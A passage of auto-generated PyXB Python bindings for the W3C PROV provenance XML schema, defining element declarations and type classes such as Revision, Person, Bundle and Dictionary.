pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 542, 1), ) emptyDictionary = property(__emptyDictionary.value, __emptyDictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}hadDictionaryMember uses Python identifier hadDictionaryMember __hadDictionaryMember = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'hadDictionaryMember'), 'hadDictionaryMember', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovhadDictionaryMember', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 563, 1), ) hadDictionaryMember = property(__hadDictionaryMember.value, __hadDictionaryMember.set, None, None) # Element {http://www.w3.org/ns/prov#}derivedByInsertionFrom uses Python identifier derivedByInsertionFrom __derivedByInsertionFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'derivedByInsertionFrom'), 'derivedByInsertionFrom', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovderivedByInsertionFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 579, 1), ) derivedByInsertionFrom = property(__derivedByInsertionFrom.value, __derivedByInsertionFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}derivedByRemovalFrom uses Python identifier derivedByRemovalFrom __derivedByRemovalFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'derivedByRemovalFrom'), 'derivedByRemovalFrom', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovderivedByRemovalFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 595, 1), ) derivedByRemovalFrom = property(__derivedByRemovalFrom.value, __derivedByRemovalFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}bundleContent uses Python identifier bundleContent __bundleContent = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'bundleContent'), 'bundleContent', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovbundleContent', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 654, 9), ) bundleContent = property(__bundleContent.value, __bundleContent.set, None, None) # Element {http://www.w3.org/ns/prov#}others uses Python identifier others __others = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'others'), 'others', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovothers', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 661, 3), ) others = property(__others.value, __others.set, None, None) _ElementMap.update({ __entity.name() : __entity, __activity.name() : __activity, __wasGeneratedBy.name() : __wasGeneratedBy, __used.name() : __used, __wasInformedBy.name() : __wasInformedBy, __wasStartedBy.name() : __wasStartedBy, __wasEndedBy.name() : __wasEndedBy, __wasInvalidatedBy.name() : __wasInvalidatedBy, __wasDerivedFrom.name() : __wasDerivedFrom, __wasRevisionOf.name() : __wasRevisionOf, __wasQuotedFrom.name() : __wasQuotedFrom, __hadPrimarySource.name() : __hadPrimarySource, __agent.name() : __agent, __person.name() : __person, __organization.name() : __organization, __softwareAgent.name() : __softwareAgent, __wasAttributedTo.name() : __wasAttributedTo, __wasAssociatedWith.name() : __wasAssociatedWith, __actedOnBehalfOf.name() : __actedOnBehalfOf, __wasInfluencedBy.name() : __wasInfluencedBy, __bundle.name() : __bundle, __specializationOf.name() : __specializationOf, __alternateOf.name() : __alternateOf, __hadMember.name() : __hadMember, __collection.name() : __collection, __emptyCollection.name() : __emptyCollection, __plan.name() : __plan, __mentionOf.name() : __mentionOf, __dictionary.name() : __dictionary, __emptyDictionary.name() : __emptyDictionary, __hadDictionaryMember.name() : __hadDictionaryMember, __derivedByInsertionFrom.name() : __derivedByInsertionFrom, __derivedByRemovalFrom.name() : __derivedByRemovalFrom, __bundleContent.name() : __bundleContent, __others.name() : __others }) _AttributeMap.update({ }) _module_typeBindings.Document = Document Namespace.addCategoryObject('typeBinding', 'Document', Document) # Complex type {http://www.w3.org/ns/prov#}Others with content type ELEMENT_ONLY class Others (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Others with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Others') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 663, 3) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Others = Others Namespace.addCategoryObject('typeBinding', 'Others', Others) # Complex type {http://www.w3.org/ns/prov#}Revision with content type ELEMENT_ONLY class Revision (Derivation): """Complex type {http://www.w3.org/ns/prov#}Revision with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Revision') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 156, 2) _ElementMap = Derivation._ElementMap.copy() _AttributeMap = Derivation._AttributeMap.copy() # Base type is Derivation # Element generatedEntity ({http://www.w3.org/ns/prov#}generatedEntity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element usedEntity ({http://www.w3.org/ns/prov#}usedEntity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element activity ({http://www.w3.org/ns/prov#}activity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element generation ({http://www.w3.org/ns/prov#}generation) inherited from {http://www.w3.org/ns/prov#}Derivation # Element usage ({http://www.w3.org/ns/prov#}usage) inherited from {http://www.w3.org/ns/prov#}Derivation # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Derivation # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Derivation # Attribute id inherited from {http://www.w3.org/ns/prov#}Derivation _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Revision = Revision Namespace.addCategoryObject('typeBinding', 'Revision', Revision) # Complex type {http://www.w3.org/ns/prov#}Quotation with content type ELEMENT_ONLY class Quotation (Derivation): """Complex type {http://www.w3.org/ns/prov#}Quotation with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Quotation') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 163, 2) _ElementMap = Derivation._ElementMap.copy() _AttributeMap = Derivation._AttributeMap.copy() # Base type is Derivation # Element generatedEntity ({http://www.w3.org/ns/prov#}generatedEntity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element usedEntity ({http://www.w3.org/ns/prov#}usedEntity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element activity ({http://www.w3.org/ns/prov#}activity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element generation ({http://www.w3.org/ns/prov#}generation) inherited from {http://www.w3.org/ns/prov#}Derivation # Element usage ({http://www.w3.org/ns/prov#}usage) inherited from {http://www.w3.org/ns/prov#}Derivation # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Derivation # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Derivation # Attribute id inherited from {http://www.w3.org/ns/prov#}Derivation _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Quotation = Quotation Namespace.addCategoryObject('typeBinding', 'Quotation', Quotation) # Complex type {http://www.w3.org/ns/prov#}PrimarySource with content type ELEMENT_ONLY class PrimarySource (Derivation): """Complex type {http://www.w3.org/ns/prov#}PrimarySource with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'PrimarySource') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 170, 2) _ElementMap = Derivation._ElementMap.copy() _AttributeMap = Derivation._AttributeMap.copy() # Base type is Derivation # Element generatedEntity ({http://www.w3.org/ns/prov#}generatedEntity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element usedEntity ({http://www.w3.org/ns/prov#}usedEntity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element activity ({http://www.w3.org/ns/prov#}activity) inherited from {http://www.w3.org/ns/prov#}Derivation # Element generation ({http://www.w3.org/ns/prov#}generation) inherited from {http://www.w3.org/ns/prov#}Derivation # Element usage ({http://www.w3.org/ns/prov#}usage) inherited from {http://www.w3.org/ns/prov#}Derivation # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Derivation # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Derivation # Attribute id inherited from {http://www.w3.org/ns/prov#}Derivation _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.PrimarySource = PrimarySource Namespace.addCategoryObject('typeBinding', 'PrimarySource', PrimarySource) # Complex type {http://www.w3.org/ns/prov#}Person with content type ELEMENT_ONLY class Person (Agent): """Complex type {http://www.w3.org/ns/prov#}Person with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Person') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 190, 2) _ElementMap = Agent._ElementMap.copy() _AttributeMap = Agent._AttributeMap.copy() # Base type is Agent # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Agent # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Agent # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Agent # Attribute id inherited from {http://www.w3.org/ns/prov#}Agent _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Person = Person Namespace.addCategoryObject('typeBinding', 'Person', Person) # Complex type {http://www.w3.org/ns/prov#}Organization with content type ELEMENT_ONLY class Organization (Agent): """Complex type {http://www.w3.org/ns/prov#}Organization with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Organization') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 197, 2) _ElementMap = Agent._ElementMap.copy() _AttributeMap = Agent._AttributeMap.copy() # Base type is Agent # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Agent # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Agent # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Agent # Attribute id inherited from {http://www.w3.org/ns/prov#}Agent _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Organization = Organization Namespace.addCategoryObject('typeBinding', 'Organization', Organization) # Complex type {http://www.w3.org/ns/prov#}SoftwareAgent with content type ELEMENT_ONLY class SoftwareAgent (Agent): """Complex type {http://www.w3.org/ns/prov#}SoftwareAgent with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'SoftwareAgent') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 204, 2) _ElementMap = Agent._ElementMap.copy() _AttributeMap = Agent._AttributeMap.copy() # Base type is Agent # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Agent # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Agent # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Agent # Attribute id inherited from {http://www.w3.org/ns/prov#}Agent _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.SoftwareAgent = SoftwareAgent Namespace.addCategoryObject('typeBinding', 'SoftwareAgent', SoftwareAgent) # Complex type {http://www.w3.org/ns/prov#}Bundle with content type ELEMENT_ONLY class Bundle (Entity): """Complex type {http://www.w3.org/ns/prov#}Bundle with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Bundle') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 262, 2) _ElementMap = Entity._ElementMap.copy() _AttributeMap = Entity._AttributeMap.copy() # Base type is Entity # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Entity # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Entity # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Entity # Element value_ ({http://www.w3.org/ns/prov#}value) inherited from {http://www.w3.org/ns/prov#}Entity # Attribute id inherited from {http://www.w3.org/ns/prov#}Entity _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Bundle = Bundle Namespace.addCategoryObject('typeBinding', 'Bundle', Bundle) # Complex type {http://www.w3.org/ns/prov#}Collection with content type ELEMENT_ONLY class Collection (Entity): """Complex type {http://www.w3.org/ns/prov#}Collection with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Collection') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 375, 2) _ElementMap = Entity._ElementMap.copy() _AttributeMap = Entity._AttributeMap.copy() # Base type is Entity # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Entity # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Entity # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Entity # Element value_ ({http://www.w3.org/ns/prov#}value) inherited from {http://www.w3.org/ns/prov#}Entity # Attribute id inherited from {http://www.w3.org/ns/prov#}Entity _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Collection = Collection Namespace.addCategoryObject('typeBinding', 'Collection', Collection) # Complex type {http://www.w3.org/ns/prov#}Plan with content type ELEMENT_ONLY class Plan (Entity): """Complex type {http://www.w3.org/ns/prov#}Plan with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Plan') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 397, 2) _ElementMap = Entity._ElementMap.copy() _AttributeMap = Entity._AttributeMap.copy() # Base type is Entity # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Entity # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Entity # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Entity # Element value_ ({http://www.w3.org/ns/prov#}value) inherited from {http://www.w3.org/ns/prov#}Entity # Attribute id inherited from {http://www.w3.org/ns/prov#}Entity _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Plan = Plan Namespace.addCategoryObject('typeBinding', 'Plan', Plan) # Complex type {http://www.w3.org/ns/prov#}Location with content type SIMPLE class Location (TypedValue): """Complex type {http://www.w3.org/ns/prov#}Location with content type SIMPLE""" _TypeDefinition = pyxb.binding.datatypes.anySimpleType _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Location') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 435, 2) _ElementMap = TypedValue._ElementMap.copy() _AttributeMap = TypedValue._AttributeMap.copy() # Base type is TypedValue # Attribute type inherited from {http://www.w3.org/ns/prov#}TypedValue _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Location = Location Namespace.addCategoryObject('typeBinding', 'Location', Location) # Complex type {http://www.w3.org/ns/prov#}Type with content type SIMPLE class Type (TypedValue): """Complex type {http://www.w3.org/ns/prov#}Type with content type SIMPLE""" _TypeDefinition = pyxb.binding.datatypes.anySimpleType _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Type') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 441, 2) _ElementMap = TypedValue._ElementMap.copy() _AttributeMap = TypedValue._AttributeMap.copy() # Base type is TypedValue # Attribute type inherited from {http://www.w3.org/ns/prov#}TypedValue _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Type = Type Namespace.addCategoryObject('typeBinding', 'Type', Type) # Complex type {http://www.w3.org/ns/prov#}Value with content type SIMPLE class Value (TypedValue): """Complex type {http://www.w3.org/ns/prov#}Value with content type SIMPLE""" _TypeDefinition = pyxb.binding.datatypes.anySimpleType _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Value') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 447, 2) _ElementMap = TypedValue._ElementMap.copy() _AttributeMap = TypedValue._AttributeMap.copy() # Base type is TypedValue # Attribute type inherited from {http://www.w3.org/ns/prov#}TypedValue _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Value = Value Namespace.addCategoryObject('typeBinding', 'Value', Value) # Complex type {http://www.w3.org/ns/prov#}Role with content type SIMPLE class Role (TypedValue): """Complex type {http://www.w3.org/ns/prov#}Role with content type SIMPLE""" _TypeDefinition = pyxb.binding.datatypes.anySimpleType _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Role') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 453, 2) _ElementMap = TypedValue._ElementMap.copy() _AttributeMap = TypedValue._AttributeMap.copy() # Base type is TypedValue # Attribute type inherited from {http://www.w3.org/ns/prov#}TypedValue _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Role = Role Namespace.addCategoryObject('typeBinding', 'Role', Role) # Complex type {http://www.w3.org/ns/prov#}EmptyCollection with content type ELEMENT_ONLY class EmptyCollection (Collection): """Complex type {http://www.w3.org/ns/prov#}EmptyCollection with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'EmptyCollection') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 382, 2) _ElementMap = Collection._ElementMap.copy() _AttributeMap = Collection._AttributeMap.copy() # Base type is Collection # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Entity # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Entity # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Entity # Element value_ ({http://www.w3.org/ns/prov#}value) inherited from {http://www.w3.org/ns/prov#}Entity # Attribute id inherited from {http://www.w3.org/ns/prov#}Entity _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.EmptyCollection = EmptyCollection Namespace.addCategoryObject('typeBinding', 'EmptyCollection', EmptyCollection) # Complex type {http://www.w3.org/ns/prov#}Dictionary with content type ELEMENT_ONLY class Dictionary (Collection): """Complex type {http://www.w3.org/ns/prov#}Dictionary with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Dictionary') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 525, 1) _ElementMap = Collection._ElementMap.copy() _AttributeMap = Collection._AttributeMap.copy() # Base type is Collection # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Entity # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Entity # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Entity # Element value_ ({http://www.w3.org/ns/prov#}value) inherited from {http://www.w3.org/ns/prov#}Entity # Attribute id inherited from {http://www.w3.org/ns/prov#}Entity _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.Dictionary = Dictionary Namespace.addCategoryObject('typeBinding', 'Dictionary', Dictionary) # Complex type {http://www.w3.org/ns/prov#}EmptyDictionary with content type ELEMENT_ONLY class EmptyDictionary (Dictionary): """Complex type {http://www.w3.org/ns/prov#}EmptyDictionary with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'EmptyDictionary') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 535, 1) _ElementMap = Dictionary._ElementMap.copy() _AttributeMap = Dictionary._AttributeMap.copy() # Base type is Dictionary # Element label ({http://www.w3.org/ns/prov#}label) inherited from {http://www.w3.org/ns/prov#}Entity # Element type ({http://www.w3.org/ns/prov#}type) inherited from {http://www.w3.org/ns/prov#}Entity # Element location ({http://www.w3.org/ns/prov#}location) inherited from {http://www.w3.org/ns/prov#}Entity # Element value_ ({http://www.w3.org/ns/prov#}value) inherited from {http://www.w3.org/ns/prov#}Entity # Attribute id inherited from {http://www.w3.org/ns/prov#}Entity _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) _module_typeBindings.EmptyDictionary = EmptyDictionary Namespace.addCategoryObject('typeBinding', 'EmptyDictionary', EmptyDictionary) label = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2)) Namespace.addCategoryObject('elementBinding', label.name().localName(), label) entity = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), Entity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 475, 2)) Namespace.addCategoryObject('elementBinding', entity.name().localName(), entity) activity = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), Activity, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 476, 2)) Namespace.addCategoryObject('elementBinding', activity.name().localName(), activity) wasGeneratedBy = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasGeneratedBy'), Generation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 477, 2)) Namespace.addCategoryObject('elementBinding', wasGeneratedBy.name().localName(), wasGeneratedBy) used = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'used'), Usage, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 478, 2)) Namespace.addCategoryObject('elementBinding', used.name().localName(), used) wasInformedBy = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInformedBy'), Communication, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 479, 2)) Namespace.addCategoryObject('elementBinding', wasInformedBy.name().localName(), wasInformedBy) wasStartedBy = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasStartedBy'), Start, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 480, 2)) Namespace.addCategoryObject('elementBinding', wasStartedBy.name().localName(), wasStartedBy) wasEndedBy = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasEndedBy'), End, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 481, 2)) Namespace.addCategoryObject('elementBinding', wasEndedBy.name().localName(), wasEndedBy) wasInvalidatedBy = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInvalidatedBy'), Invalidation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 482, 2)) Namespace.addCategoryObject('elementBinding', wasInvalidatedBy.name().localName(), wasInvalidatedBy) wasDerivedFrom = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasDerivedFrom'), Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 486, 2)) Namespace.addCategoryObject('elementBinding', wasDerivedFrom.name().localName(), wasDerivedFrom) agent = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'agent'), Agent, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 493, 2)) Namespace.addCategoryObject('elementBinding', agent.name().localName(), agent) wasAttributedTo = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasAttributedTo'), Attribution, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 497, 2)) Namespace.addCategoryObject('elementBinding', wasAttributedTo.name().localName(), wasAttributedTo) wasAssociatedWith = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasAssociatedWith'), Association, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 498, 2)) Namespace.addCategoryObject('elementBinding', wasAssociatedWith.name().localName(), wasAssociatedWith) actedOnBehalfOf = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'actedOnBehalfOf'), Delegation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 499, 2)) Namespace.addCategoryObject('elementBinding', actedOnBehalfOf.name().localName(), actedOnBehalfOf) wasInfluencedBy = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'wasInfluencedBy'), Influence, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 500, 2)) Namespace.addCategoryObject('elementBinding', wasInfluencedBy.name().localName(), wasInfluencedBy) specializationOf = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'specializationOf'), Specialization, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 505, 2)) Namespace.addCategoryObject('elementBinding', specializationOf.name().localName(), specializationOf) alternateOf = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'alternateOf'), Alternate, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 506, 2)) Namespace.addCategoryObject('elementBinding', alternateOf.name().localName(), alternateOf) hadMember = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadMember'), Membership, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 510, 2)) Namespace.addCategoryObject('elementBinding', hadMember.name().localName(), hadMember) mentionOf = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'mentionOf'), Mention, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 520, 2)) Namespace.addCategoryObject('elementBinding', mentionOf.name().localName(), mentionOf) keyEntityPair = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'keyEntityPair'), KeyEntityPair, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 553, 1)) Namespace.addCategoryObject('elementBinding', keyEntityPair.name().localName(), keyEntityPair) hadDictionaryMember = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'hadDictionaryMember'), DictionaryMembership, 